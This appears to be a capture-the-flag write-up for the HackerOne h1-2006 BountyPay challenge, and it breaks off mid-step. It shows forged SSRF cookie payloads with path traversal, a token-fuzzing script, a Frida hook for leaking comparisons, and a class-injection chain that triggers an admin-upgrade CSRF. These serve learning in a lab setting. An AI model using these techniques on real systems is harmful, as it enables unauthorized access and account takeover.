H1-2006 CTF Writeup

Hackerone CTFs are unique and hard, h1-2006 is no exception but one of the interesting thing in this CTF is it has diversified vulnerabilities from android to web. I really enjoyed solving this CTF and able to finish it in 24 hours considering previous h1-415 CTF which took 1 week to solve :xD. 

I created this walk-through so clear which shows the time I spent to solve each step and rabbit holes I fell for and everything I did while solving the challenge. So, Lets get started.

May 21

On May 21, I noticed policy change of H1-CTF page. They added bountypay.h1ctf.com in the scope, I wondered if they started CTF silently and started working on it, I did little recon and found few domains all of them were redirecting to this Youtube video, I spent some time but couldn't find anything interesting later I gave up. 

May 30, 5:47 am IST

I woke up early in the morning and noticed Hackerone posting h1-2006 CTF challenge on twitter, I opened my pc and started working on it

I created a nice road map to make things easier for the readers, it shows the steps needed to solve the CTF.

Step 1

I did a little recon and found few domains, I visited all these domains manually and I got the intuition of the challenge. 

s1r1us $ cat udomains 

api.bountypay.h1ctf.com       # rest api

app.bountypay.h1ctf.com       # customer portal

bountypay.h1ctf.com           # home 

software.bountypay.h1ctf.com  # Internal Software(Not accessible)

staff.bountypay.h1ctf.com     # Staff portal

After doing recon, I noticed there are staff, customer portals, internal software portal and an REST API. What've I thought after seeing these domains is we need to somehow access customer portal, from there we should have SSRF to access internal software and in the end accessing staff portal. And one more important thing is there is an open redirect at REST API, it comes handy in the next step.

May 30, 6:00 am

So, I obviously started content discovery at customer portal(app.bountypay.h1ctf.com), and found .git/HEAD directory.

ffuf -u https://app.bountypay.h1ctf.com/FUZZ -w ~/wordlist/seclists/Discovery/Web-Content/common.txt

Now we need to dump the files and folders in .git folder. I've dumped the contents in https://app.bountypay.h1ctf.com/git using GitTools gitdumper.sh. This tool simply downloads .git common files like HEAD, config, objects/info/packs etc., and also the object and packs.

After dumping the files, I've noticed remote origin url which is https://github.com/bounty-pay-code/request-logger.git

s1r1us $ cat *


  repositoryformatversion = 0

 filemode = true

 bare = false

 logallrefupdates = true

[remote "origin"]

 url = https://github.com/bounty-pay-code/request-logger.git

 fetch = +refs/heads/*:refs/remotes/origin/*

[branch "master"]

 remote = origin

 merge = refs/heads/master

Unnamed repository; edit this file 'description' to name the repository.

ref: refs/heads/master

cat: GitTools/Dumper/dumps/.git/info: Is a directory

cat: GitTools/Dumper/dumps/.git/logs: Is a directory

cat: GitTools/Dumper/dumps/.git/objects: Is a directory

# pack-refs with: peeled fully-peeled sorted 

b6e669482e32b4052bb10b7a4ac962deea9ac97c refs/remotes/origin/master

cat: GitTools/Dumper/dumps/.git/refs: Is a directory

In the remote git, there is a file named logger.php, which is logging requests to file named bp_web_trace.log.



$data = array(




'PARAMS' => array(

'GET' => $_GET,

'POST' => $_POST



file_put_contents('bp_web_trace.log', date("U").':'.base64_encode(json_encode($data))."\n",FILE_APPEND );

Download the log file and check the requests

wget https://app.bountypay.h1ctf.com/bp_web_trace.log 

Notice the request is saved as timestamp:data, so we split using cut command and decode it using base64.

s1r1us $ cat bp_web_trace.log | cut -d ":" -f 2 | base64 -d


In the above log, we can see the password and username of some customer named brian, lets use these credentials in customer portal, when I tried to login using above credentials its asking for 2fa code.

I tried challenge_answer in log as 2FA code, but its not working. If we notice the request below.


Host: app.bountypay.h1ctf.com

Connection: close

Content-Length: 102

Content-Type: application/x-www-form-urlencoded


We can see that parameter challenge is md5 hash and we have challenge_answer in the above log. So, I tried sending md5 hash of challenge_answer in above log as challenge. It worked.

s1r1us $ echo -n bD83Jk27dQ | md5sum

5828c689761cce705a1c84d9b1a1ed5e  -

Now the request will be


Host: app.bountypay.h1ctf.com

Connection: close

Content-Length: 102

Content-Type: application/x-www-form-urlencoded


HTTP/1.1 302 Found

Server: nginx/1.14.0 (Ubuntu)

Date: Sat, 30 May 2020 01:47:19 GMT

Content-Type: text/html; charset=UTF-8

Connection: close

Set-Cookie: token=eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9; expires=Sat, 04-Jul-2020 05:46:05 GMT; Max-Age=2592000

Location: /

Content-Length: 0

Now we are successfully logged into customer portal, there is only one functionality in the customer portal which is Load Transactions

Step 2

May 30, 7:15 am

If we carefully notice, load transactions request and the cookie

GET /statements?month=01&year=2020 HTTP/1.1

Host: app.bountypay.h1ctf.com

Connection: close

Cookie: token=eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9

HTTP/1.1 200 OK

Server: nginx/1.14.0 (Ubuntu)

Date: Sat, 30 May 2020 02:07:19 GMT

Content-Type: application/json

Connection: close

Content-Length: 177

{"url":"https:\/\/api.bountypay.h1ctf.com\/api\/accounts\/F8gHiqSdpK\/statements?month=01&year=2020","data":"{\"description\":\"Transactions for 2020-01\",\"transactions\":[]}"}

The hash is in the cookie is not getting validated, which means we can forge account_id, but the account_id is random so we cant forge it.

s1r1us $ echo eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9 | base64 -d


Do you see, whats really happening there? When we request load transactions from app.bountypay.h1ctf.com , in the backend of app.bountypay.h1ctf.com its requesting api.bountypay.h1ctf.com, which means we can try SSRF because we can forge account_id and from the initial recon we have open redirect which we can use it to access other resources. Check the below image to see how we perform SSRF.

First thing I tried is to access software portal, its the only thing we cant access from outside, guess what we can access it using SSRF.

Now we want to access, so we replace account_id with ../../../redirect?url=https://software.bountypay.h1ctf.com/? , so what we are doing we traversing back to the redirect endpoint and redirecting to Internal Software endpoint

echo '{"account_id":"../../../redirect?url=https://software.bountypay.h1ctf.com/?","hash":"de235bffd23df6995ad4e0930baac1a2"}' | base64 -w 0


Request will be

GET /statements?month=01&year=2020 HTTP/1.1

Host: app.bountypay.h1ctf.com

Connection: close

Cookie: token=eyJhY2NvdW50X2lkIjoiLi4vLi4vLi4vcmVkaXJlY3Q/dXJsPWh0dHBzOi8vc29mdHdhcmUuYm91bnR5cGF5LmgxY3RmLmNvbS8/IiwiaGFzaCI6ImRlMjM1YmZmZDIzZGY2OTk1YWQ0ZTA5MzBiYWFjMWEyIn0K

HTTP/1.1 200 OK

Server: nginx/1.14.0 (Ubuntu)

Date: Thu, 04 Jun 2020 10:08:03 GMT

Content-Type: application/json

Connection: close

Content-Length: 1609

{"url":"https:\/\/api.bountypay.h1ctf.com\/api\/accounts\/..\/..\/..\/redirect?url=https:\/\/software.bountypay.h1ctf.com\/?\/statements?month=01&year=2020","data":"<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    <title>Software Storage<\/title>\n    <link href=\"\/css\/bootstrap.min.css\" rel=\"stylesheet\">\n<\/head>\n<body>\n\n<div class=\"container\">\n    <div class=\"row\">\n        <div class=\"col-sm-6 col-sm-offset-3\">\n            <h1 style=\"text-align: center\">Software Storage<\/h1>\n            <form method=\"post\" action=\"\/\">\n                <div class=\"panel panel-default\" style=\"margin-top:50px\">\n                    <div class=\"panel-heading\">Login<\/div>\n                    <div class=\"panel-body\">\n                        <div style=\"margin-top:7px\"><label>Username:<\/label><\/div>\n                        <div><input name=\"username\" class=\"form-control\"><\/div>\n                        <div style=\"margin-top:7px\"><label>Password:<\/label><\/div>\n                        <div><input name=\"password\" type=\"password\" class=\"form-control\"><\/div>\n                    <\/div>\n                <\/div>\n                <input type=\"submit\" class=\"btn btn-success pull-right\" value=\"Login\">\n            <\/form>\n        <\/div>\n    <\/div>\n<\/div>\n<script src=\"\/js\/jquery.min.js\"><\/script>\n<script src=\"\/js\/bootstrap.min.js\"><\/script>\n<\/body>\n<\/html>"}

 With SSRF we can't login because it is post based, then I tried content discovery at software portal using SSRF.

Step 3

To fuzz directories using SSRF, we need to generate cookie token in base64 encoded by replacing FUZZ keyword with the directory from wordlist.


For that, I've created a  bash script which takes wordlist as a input and stdin the cookie token we wanted 

s1r1us $ cat dirsearchFuff.sh 


printf "GENERATING\n" >&2

while IFS= read -r dir


        printf "{\"account_id\":\"../../../redirect?url=https://software.bountypay.h1ctf.com/%s?\",\"hash\":\"de235bffd23df6995ad4e0930baac1a2\"}" "$dir" | base64 -w 0


done < "$DIRS"

And now, we can simply use ffuf to scan the directories. ffuf has a option to take input from stdin using -w -.

s1r1us $ ./dirsearchFuff.sh ./common.txt  | ffuf -w - -u https://app.bountypay.h1ctf.com/statements?month=01\&year=2020 -H 'Cookie: token=FUZZ' -x -fw 5

eyJhY2NvdW50X2lkIjoiLi4vLi4vLi4vcmVkaXJlY3Q/dXJsPWh0dHBzOi8vc29mdHdhcmUuYm91bnR5cGF5LmgxY3RmLmNvbS91cGxvYWRzPyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9 [Status: 200, Size: 493, Words: 63, Lines: 1]

It turns out to be, there is a folder we can access lets decode the base64 encoded input

 s1r1us $ echo eyJhY2NvdW50X2lkIjoiLi4vLi4vLi4vcmVkaXJlY3Q/dXJsPWh0dHBzOi8vc29mdHdhcmUuYm91bnR5cGF5LmgxY3RmLmNvbS91cGxvYWRzPyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9 | base64 -d


There is an uploads folder

GET /statements?month=01&year=2020 HTTP/1.1

Host: app.bountypay.h1ctf.com

Connection: close

Cookie: token=eyJhY2NvdW50X2lkIjoiLi4vLi4vLi4vcmVkaXJlY3Q/dXJsPWh0dHBzOi8vc29mdHdhcmUuYm91bnR5cGF5LmgxY3RmLmNvbS91cGxvYWRzPyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9

Content-Length: 2

HTTP/1.1 200 OK

Server: nginx/1.14.0 (Ubuntu)

Date: Thu, 04 Jun 2020 10:22:37 GMT

Content-Type: application/json

Connection: close

Content-Length: 493

{"url":"https:\/\/api.bountypay.h1ctf.com\/api\/accounts\/..\/..\/..\/redirect?url=https:\/\/software.bountypay.h1ctf.com\/uploads?\/statements?month=01&year=2020","data":"<html>\n<head><title>Index of \/uploads\/<\/title><\/head>\n<body bgcolor=\"white\">\n<h1>Index of \/uploads\/<\/h1><hr><pre><a href=\"..\/\">..\/<\/a>\n<a href=\"\/uploads\/BountyPay.apk\">BountyPay.apk<\/a>                                        20-Apr-2020 11:26              4043701\n<\/pre><hr><\/body>\n<\/html>\n"}

Ah, there is an apk. Lets download it.

s1r1us $ wget https://software.bountypay.h1ctf.com/uploads/BountyPay.apk

Here comes the hardest part in the challenge

May 30, 8:40 am

I tried to unzip the apk, got the central-directory not found error.

s1r1us $ unzip BountyPay.apk.1

Archive:  BountyPay.apk.1

  End-of-central-directory signature not found.  Either this file is not

  a zipfile, or it constitutes one disk of a multi-part archive.  In the

  latter case the central directory and zipfile comment will be found on

  the last disk(s) of this archive.

unzip:  cannot find zipfile directory in one of BountyPay.apk.1 or

        BountyPay.apk.1.zip, and cannot find BountyPay.apk.1.ZIP, period.

I thought its some kind of forensics challenge and tried many ways to repair the zip. There is only one file in the zip classes.dex, I thought challenge author only provided single file to us. I tried to add end header of zip like below and editing corrupted central file directory.

 s1r1us $ echo -n -e '\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\x56\x00\x00\x00\x5c\x00\x00\x00\x00\x00\x00' >> BountyPay.apk

Nothing seems to be working, I thought may be the zip is not properly downloaded, I tried downloading the apk one more time from my vm, it showed 90k but in my PC it showed 32k. I really didn't understand wth is happening, I spent so much time here. Only reason I spent so much time is because I dont know much about forensic challenge, which made me think that I missing something.

Step 4

May 30, 11:18 am

wtf is this man, got main file @ 11:18 am -- from my notes.txt

I tried downloading the file one more time and now the size of the file is 3.9M. Now I am able to unzip it and open the apk in jadx-gui

s1r1us $ jadx-gui ./BountyPay.apk

I start off with AndroidMainfest.xml, I've pasted important code below from AndroidMainfest.xml. We can see that there are 3 deep links. Looking at the activities associated with deep links we can notice that there are 3 parts to complete this step.

  <activity android:theme="@style/AppTheme.NoActionBar" android:label="@string/title_activity_congrats" android:name="bounty.pay.CongratsActivity"/>

        <activity android:theme="@style/AppTheme.NoActionBar" android:label="@string/title_activity_part_three" android:name="bounty.pay.PartThreeActivity">

            <intent-filter android:label="">

                <action android:name="android.intent.action.VIEW"/>

                <category android:name="android.intent.category.DEFAULT"/>

                <category android:name="android.intent.category.BROWSABLE"/>

                <data android:scheme="three" android:host="part"/>



        <activity android:theme="@style/AppTheme.NoActionBar" android:label="@string/title_activity_part_two" android:name="bounty.pay.PartTwoActivity">

            <intent-filter android:label="">

                <action android:name="android.intent.action.VIEW"/>

                <category android:name="android.intent.category.DEFAULT"/>

                <category android:name="android.intent.category.BROWSABLE"/>

                <data android:scheme="two" android:host="part"/>



        <activity android:theme="@style/AppTheme.NoActionBar" android:label="@string/title_activity_part_one" android:name="bounty.pay.PartOneActivity">

            <intent-filter android:label="">

                <action android:name="android.intent.action.VIEW"/>

                <category android:name="android.intent.category.DEFAULT"/>

                <category android:name="android.intent.category.BROWSABLE"/>

                <data android:scheme="one" android:host="part"/>



        <activity android:name="bounty.pay.MainActivity">


                <action android:name="android.intent.action.MAIN"/>

                <category android:name="android.intent.category.LAUNCHER"/>



I've a rooted android device(we don't need rooted device for the challenge), connected my PC to android on USB. Push the apk to android and install it.

s1r1us $ adb push BountyPay.apk /data/local/tmp

BountyPay.apk: 1 file pushed. 16.5 MB/s (4043701 bytes in 0.233s)

s1r1us $ adb shell pm install /data/local/tmp/BountyPay.apk

On opening the app, it asks for username and twitter handle then we can see a blank activity with PartOneActivity title. 

Part 1

I've pasted the important code to solve the first part below, it takes the value of deep link query parameter start and checks the value to be equal to PartTwoActivity, when these conditions met PartTwoActivity  will be started.


        if (getIntent() != null && getIntent().getData() != null && (firstParam = getIntent().getData().getQueryParameter("start")) != null && firstParam.equals("PartTwoActivity") && settings.contains("USERNAME")) {

            String user = settings.getString("USERNAME", "");

            SharedPreferences.Editor editor = settings.edit();

            String twitterhandle = settings.getString("TWITTERHANDLE", "");

            editor.putString("PARTONE", "COMPLETE").apply();

            logFlagFound(user, twitterhandle);

            startActivity(new Intent(this, PartTwoActivity.class));



Lets open the deep link using adb

s1r1us $ adb shell am start  -d "one://part?start=PartTwoActivity"

Nice, 2nd Activity started

May 30, 11:55 am

Part 2


 if (getIntent() != null && getIntent().getData() != null) {

            Uri data = getIntent().getData();

            String firstParam = data.getQueryParameter("two");

            String secondParam = data.getQueryParameter("switch");

            if (firstParam != null && firstParam.equals("light") && secondParam != null && secondParam.equals("on")) {






So, the conditions for the deep link are query parameter two with value equals switch and query parameter switch with value equals light. If you notice the above code its not starting PartThreeActivity but setting visibility of widgets.

s1r1us $ adb shell am start -d "two://part?two=light\&switch=on"

Starting: Intent { dat=two://part?two=light&switch=on }

When we open the deep link its asking for Header value, so we need proper header value to get to next part.

Lets check the code which is responsible for checking header value.

    public void submitInfo(View view) {

        final String post = ((EditText) findViewById(R.id.editText)).getText().toString();

        this.childRef.addListenerForSingleValueEvent(new ValueEventListener() {

            public void onDataChange(DataSnapshot dataSnapshot) {

                SharedPreferences settings = PartTwoActivity.this.getSharedPreferences(PartTwoActivity.KEY_USERNAME, 0);

                SharedPreferences.Editor editor = settings.edit();

                String str = post;

                if (str.equals("X-" + ((String) dataSnapshot.getValue()))) {

                    PartTwoActivity.this.logFlagFound(settings.getString("USERNAME", ""), settings.getString("TWITTERHANDLE", ""));

                    editor.putString("PARTTWO", "COMPLETE").apply();




                Toast.makeText(PartTwoActivity.this, "Try again! :D", 0).show();


            public void onCancelled(DatabaseError databaseError) {

                Log.e(PartTwoActivity.TAG, "onCancelled", databaseError.toException());




The important part in the above code is if (str.equals("X-" + ((String) dataSnapshot.getValue()))), the input we submitted is checked against the value from firebase dataSnapshot.getValue(), so our task is to know the value.

To know the value dynamically, we can use frida to hook to the process and print all the arguments of str.equals comparison.

You can learn more about frida here. Follow the steps here for setting up frida.

Below is the frida script to overload str.equals with our implementation which prints compared values. I've added comments to make things clear.


Java.perform(function() {

    var str = Java.use('java.lang.String'), objectClass = 'java.lang.Object';

    str.equals.overload(objectClass).implementation = function(obj) { // hooking with our implementation

        var response = str.equals.overload(objectClass).call(this, obj); //calling with actual function

        if (obj) {

            if (obj.toString().length > 5) {

                send(str.toString.call(this) + ' == ' + obj.toString() + ' ? ' + response);//printing out data we needed



        return response;



Let's run the frida script on our bounty.pay process. And enter the header value in the input as asdf

frida -U bounty.pay -l s2.js 


    / _  |   Frida 12.8.20 - A world-class dynamic instrumentation toolkit

   | (_| |

    > _  |   Commands:

   /_/ |_|       help      -> Displays the help system

   . . . .       object?   -> Display information about 'object'

   . . . .       exit/quit -> Exit

   . . . .

   . . . .   More info at https://www.frida.re/docs/home/


[Redmi 5A::bounty.pay]-> 

message: {'type': 'send', 'payload': 'upgrade == upgrade ? true'} data: None

message: {'type': 'send', 'payload': 'websocket == websocket ? true'} data: None

message: {'type': 'send', 'payload': 'connection == connection ? true'} data: None

message: {'type': 'send', 'payload': 'upgrade == upgrade ? true'} data: None

message: {'type': 'send', 'payload': 'user_created == user_created ? true'} data: None

message: {'type': 'send', 'payload': 'bounty.pay == bounty.pay ? true'} data: None

message: {'type': 'send', 'payload': 'asdf == X-Token ? false'} data: None

We can see the comparison asdf == X-Token, so X-Token is the value we need to enter in the header value.

After giving X-Token as input value we successfully reached 3rd part.

Part 3

The deep link need to start 3rd part after completing 2nd part is, I am leaving the task to figuring out parameters for the deep link to the reader. 

adb shell am start -d 'three://part?three=UGFydFRocmVlQWN0aXZpdHk=\&switch=b24=\&header=X-Token'

Starting: Intent { dat=three://part?three=UGFydFRocmVlQWN0aXZpdHk=&switch=b24=&header=X-Token }

After starting intent its asking for leaked hash, the code responsible for checking hash is below

    public void submitHash(View view) {

        final String post = ((EditText) findViewById(R.id.editText4)).getText().toString();

        this.childRefTwo.addListenerForSingleValueEvent(new ValueEventListener() {

            public void onDataChange(DataSnapshot dataSnapshot) {

                if (post.equals((String) dataSnapshot.getValue())) {

                    SharedPreferences settings = PartThreeActivity.this.getSharedPreferences(PartThreeActivity.KEY_USERNAME, 0);

                    PartThreeActivity.this.logFlagFound(settings.getString("USERNAME", ""), settings.getString("TWITTERHANDLE", ""));




                Toast.makeText(PartThreeActivity.this, "Try again! :D", 0).show();


            public void onCancelled(DatabaseError databaseError) {

                Log.e("TAG", "onCancelled", databaseError.toException());




I've tried the previous frida hook to leak post.equals data, but we cant see the above comparison values, I dont know why.

Failed Burp Interception

When we start intent using deep link using proper parameters we can see a thread getting started PartThreeActivity.this.thread.start();, which calls a function named performPostCall

  Thread thread = new Thread(new Runnable() {

        public void run() {

          PartThreeActivity.this.performPostCall(PartThreeActivity.this.getSharedPreferences(PartThreeActivity.KEY_USERNAME, 0).getString("TOKEN", ""));



The function performPostCall makes a http request to some host and the hash we needed as header.

   public String performPostCall(String paramValue) {

        SharedPreferences settings = getSharedPreferences(KEY_USERNAME, 0);

        String host = settings.getString("HOST", "");

        String token = settings.getString("TOKEN", "");

        Log.d("HOST IS: ", host);

        Log.d("TOKEN IS: ", token);

        try {

            HttpURLConnection conn = (HttpURLConnection) new URL(host).openConnection();






            Uri.Builder builder = new Uri.Builder().appendQueryParameter("firstParam", paramValue);

            Log.d("HEADER VALUE AND HASH ", "X-Token: " + paramValue);

            String query = builder.build().getEncodedQuery();

            if (query == null) {

                return "hi";


            OutputStream os = conn.getOutputStream();

            BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(os, "UTF-8"));






            return "hi";

        } catch (IOException e) {

            Log.e("tag", "Post request did not send: " + e);

            return "hi";



I've set up proxy on android and intercepted requests using burp.

I spent more time at this part than previous part, after few trails to intercept the burp request, I created a java file which replicates above code and checked the request. 

It turns out to be the request is not at all taking place because the protocol is missing from the URL. :(

After some time I noticed  Log.d calls which has hash we wanted

s1r1us $ adb -d logcat | grep HEADER

06-04 21:16:36.814  1428  3497 D HEADER VALUE AND HASH : X-Token: 8e9998ee3137ca9ade8f372739f062c1

s1r1us $ adb -d logcat | grep HOST

06-04 21:16:36.811  1428  3497 D HOST IS: : http://api.bountypay.h1ctf.com

You can see how I over complicated easy thing, Now we have X-Token which we need to use in next step.

Step 5&6 : The Hardest Part in the CTF.

May 30, 1:45 pm

We have X-Token to access api but I am struck at what to do with this token, I am checking android part of the challenge to see if there are any directories mentioned, checked shared preference files to see if there are any leads.

I found nothing in android part of the challenge.

May 30, 3:12 pm

You can see I am struck at this point for ~2 hours, then I went outside for sometime and started thinking about this part, the I remembered that we can load transactions from api endpoint.

GET /api/accounts/F8gHiqSdpK/statements?month=01&year=2019 HTTP/1.1

Host: api.bountypay.h1ctf.com

Connection: close

X-Token: 8e9998ee3137ca9ade8f372739f062c1

HTTP/1.1 200 OK

Server: nginx/1.14.0 (Ubuntu)

Date: Thu, 04 Jun 2020 16:52:46 GMT

Content-Type: application/json

Connection: close

Content-Length: 60

{"description":"Transactions for 2019-01","transactions":[]}

Ah, we can access this endpoint with the token.

May 30, 3:30 pm

Then I did a content discovery at api.bountypay.h1ctf.com and able to find  a endpoint named /staff

ffuf -u https://api.bountypay.h1ctf.com/api/FUZZ -w ~/wordlist/seclists/Discovery/Web-Content/big.txt  -H "X-Token: 8e9998ee3137ca9ade8f372739f062c1"

In the request below we can see the staff 

GET /api/staff HTTP/1.1

Host: api.bountypay.h1ctf.com

Connection: close

X-Token: 8e9998ee3137ca9ade8f372739f062c1

HTTP/1.1 200 OK

Server: nginx/1.14.0 (Ubuntu)

Date: Thu, 04 Jun 2020 16:57:43 GMT

Content-Type: application/json

Connection: close

Content-Length: 104

[{"name":"Sam Jenkins","staff_id":"STF:84DJKEIP38"},{"name":"Brian Oliver","staff_id":"STF:KE624RQ2T9"}]

What's next?

One more time I got struck, I couldn't figure out what to do with this data.

May 30, 4: 25 pm

No leads at all, but one thing I noticed is that we can perform post method at this endpoint.

POST /api/staff HTTP/1.1

Host: api.bountypay.h1ctf.com

Connection: close

X-Token: 8e9998ee3137ca9ade8f372739f062c1

Content-Length: 13


HTTP/1.1 400 Bad Request

Server: nginx/1.14.0 (Ubuntu)

Date: Thu, 04 Jun 2020 17:01:13 GMT

Content-Type: application/json

Connection: close

Content-Length: 21

["Missing Parameter"]

Its saying that we are missing parameters,  I spent some time to brute force the parameters needed for this endpoint. But, I couldn't find anything at all.

May 30, 8:29 pm : still figuring out stuff -- from my notes.txt

I know I am in the right path, but couldn't find the parameter then I revised my notes.txt to see if I am missing something. 

And somehow I am able to figure out that Content-Type should be urlencoded.

POST /api/staff HTTP/1.1

Host: api.bountypay.h1ctf.com

Connection: close

X-Token: 8e9998ee3137ca9ade8f372739f062c1

Content-Length: 13

Content-Type: application/x-www-form-urlencoded


HTTP/1.1 404 Not Found

Server: nginx/1.14.0 (Ubuntu)

Date: Thu, 04 Jun 2020 17:04:31 GMT

Content-Type: application/json

Connection: close

Content-Length: 20

["Staff Member already has an account"]

One more hurdle we are having here, its asking for valid staff_id none of the ids from the get request is not working because they already has an account, so I revised my notes for sometime to find any staff_ids. 

May 30, 10:30 pm

At this point, I am so tired, last steps gave me anxiety and started using twitter for some time. Then I found that challenge author Adam gave the lead  by retweeting this tweet. Then I checked all the tweets in that account and found out there is a new employee named sandra, then I checked the people followed by BountyPayHQ, it turns out to be there is a user named sandra and checked her twitter feed and found out the staff id.

Now I made a request to staff endpoint with above staff_id

POST /api/staff HTTP/1.1

Host: api.bountypay.h1ctf.com

Connection: close

Content-Type: application/x-www-form-urlencoded

X-Token: 8e9998ee3137ca9ade8f372739f062c1

Cache-Control: max-age=0

Content-Length: 23


HTTP/1.1 201 Created

Server: nginx/1.14.0 (Ubuntu)

Date: Sat, 30 May 2020 16:42:39 GMT

Content-Type: application/json

Connection: close

Content-Length: 110

{"description":"Staff Member Account Created","username":"sandra.allison","password":"s%3D8qB8zEpMnc*xsz7Yp5"}

See, finally I am able to create staff account and used this credentials to login to staff portal.

You can see that step 5 is very hard it needs little bit of guessing which gave me so much anxiety.

The Best Part of the CTF

Step 7

May 31, 12:30 am

I really enjoyed solving the next challenges.

We got acces to staff portal, I did little recon on the staff portal and found that there is an reporting functionality to admin and an interesting endpoint which upgrades the current user account to admin which can only be done by the admin. There is a support ticket page where staff can see the tickets, comments were disabled in the ticket page, this page can be used in the future steps.

You know, what I am thinking about XSS + Report to admin = Upgrad current user  to Admin.

So, I started looking for XSS, everything seems to be sanitised properly.

I am trying to be the first one to solve the challenge,  I closed my eyes at some point when I opened them the time is 5:02 am. I felt so bad xD.

May 31, 5:02 am

None of the fields in portal seems vulnerable to me, every user input on portal is sanitised properly. One thing I noticed is that when we update avatar in the profile section the value is getting reflected in class attribute, so we have control over that value, this functionality comes handy in next steps.

<div style="margin:auto" class="avatar user_input_here"></div>

Then I started looking at js files in the portal, few things caught my eye.

Vulnerable jquery version: rabbit hole

The staff portal is using vulnerable jquery v1.12.4, the issue in this version when a cross domain ajax request is performed, the text/javascript content type response will be executed.

To see it in live action, go to https://staff.bountypay.h1ctf.com/? open console in the browser and enter below js, you will see a pop up.


So, if you notice in the below https://staff.bountypay.h1ctf.com/js/website.js, there are cross origin requests with $.get, but we don't have control over the argument, so I spent some time and left this path.

$(".upgradeToAdmin").click(function() {

    let t = $('input[name="username"]').val();

    $.get("/admin/upgrade?username=" + t, function() {

        alert("User Upgraded to Admin")


}), $(".tab").click(function() {

    return $(".tab").removeClass("active"), $(this).addClass("active"), $("div.content").addClass("hidden"), $("div.content-" + $(this).attr("data-target")).removeClass("hidden"), !1


$(".sendReport").click(function() {

    $.get("/admin/report?url=" + url, function() {

        alert("Report sent to admin team")

    }), $("#myModal").modal("hide")

}), document.location.hash.length > 0 && ("#tab1" === document.location.hash && $(".tab1").trigger("click"), "#tab2" === document.location.hash && $(".tab2").trigger("click"), "#tab3" === document.location.hash && $(".tab3").trigger("click"), "#tab4" === document.location.hash && $(".tab4").trigger("click"))

Attempt to Upgrade to admin using Path Traversal

If we see the upgrade to admin functionality in website.js, it is just a get based CSRF only thing we need to do is somehow make admin to visit this URL https://staff.bountypay.h1ctf.com/admin/upgrade?username=sandra.

$(".upgradeToAdmin").click(function() {

    let t = $('input[name="username"]').val();

    $.get("/admin/upgrade?username=" + t, function() {

        alert("User Upgraded to Admin")


We know that we have reporting functionality, check the reporting request below

GET /admin/report?url=Lz90ZW1wbGF0ZT1ob21l HTTP/1.1

Host: staff.bountypay.h1ctf.com

Connection: close

Accept: */*

Sec-Fetch-Dest: empty

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Referer: https://staff.bountypay.h1ctf.com/?template=home

Accept-Encoding: gzip, deflate

Accept-Language: en-GB,en-US;q=0.9,en;q=0.8


HTTP/1.1 200 OK

Server: nginx/1.14.0 (Ubuntu)

Date: Fri, 05 Jun 2020 04:20:25 GMT

Content-Type: application/json

Connection: close

Content-Length: 19

["Report received"]

Notice base64 encoded value of url parameter, the decoded value is /?template=home 

We may try reporting /admin/upgrade?username=sandra, but it wont work because the author mentioned that pages in the /admin directory will be ignored

<p>Is there something wrong with this page? If so hit the "Report Now" button and the page will be sent over to our admins to checkout.</p>

<p>Pages in the /admin directory will be ignored for security</p>

So, I tried bypassing /admin directory check in the server side by path traversal which is like below.


As expected I can't bypass, my account is not upgraded to Admin. Maybe the author checking admin in the url.


I've checked other parts of code in website.js, then I noticed the following.

1. Observe the website.js file clearly,  if fragment exists in the URL and the value is #tab{1,4}, the click event will be triggered on class named tab{1,4}.

document.location.hash.length > 0 && ("#tab1" === document.location.hash && $(".tab1").trigger("click"), "#tab2" === document.location.hash && $(".tab2").trigger("click"), "#tab3" === document.location.hash && $(".tab3").trigger("click"), "#tab4" === document.location.hash && $(".tab4").trigger("click"))

2. We know that a nice functionality exists in the website.js file, which is an user can be upgraded to Admin when a click event is triggered on upgradeToAdmin class. 

$(".upgradeToAdmin").click(function() {

    let t = $('input[name="username"]').val();

    $.get("/admin/upgrade?username=" + t, function() {

        alert("User Upgraded to Admin")


3. And also we have control over the class name in the avatar.

Combining the 3 things, we update avatar class attribute value to tab1+upgradeToAdmin.

<div style="margin:auto" class="avatar tab1 upgradeToAdmin"></div>

So, visiting the following url https://staff.bountypay.h1ctf.com/?template=ticket&ticket_id=3582#tab1, triggers click event on upgradeToAdmin class and the handler of the event will send request to upgrade to admin endpoint, if you visit the above link by intercepting using burp you can see the below request taking place.

GET /admin/upgrade?username=undefined HTTP/1.1

Host: staff.bountypay.h1ctf.com

Connection: close

Accept: */*

Sec-Fetch-Dest: empty

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (X11; s1r1us x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Referer: https://staff.bountypay.h1ctf.com/?template=ticket&ticket_id=3582

Accept-Encoding: gzip, deflate

Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

